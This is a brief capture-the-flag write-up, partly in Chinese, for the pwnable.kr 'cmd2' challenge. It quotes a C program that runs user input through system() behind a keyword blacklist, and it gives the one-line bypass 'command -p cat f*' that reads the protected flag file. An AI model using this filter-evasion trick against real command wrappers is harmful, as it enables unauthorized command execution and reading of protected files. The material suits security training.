cmd2

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

源码如下：

#include 
#include <string.h>

int filter(char* cmd){
        int r=0;
        r += strstr(cmd, "=")!=0;
        r += strstr(cmd, "PATH")!=0;
        r += strstr(cmd, "export")!=0;
        r += strstr(cmd, "/")!=0;
        r += strstr(cmd, "`")!=0;
        r += strstr(cmd, "flag")!=0;
        return r;
}

extern char** environ;
void delete_env(){
        char** p;
        for(p=environ; *p; p++) memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
        delete_env();
        putenv("PATH=/no_command_execution_until_you_become_a_hacker");
        if(filter(argv[1])) return 0;
        printf("%s\n", argv[1]);
        system( argv[1] );
        return 0;
}

过滤的更多了

直接cat会找不到命令，但是可以使用command -p cat找命令，command -p为使用 PATH 环境变量的缺省值执行命令搜索

这样运行./cmd2 "command -p cat f*"即可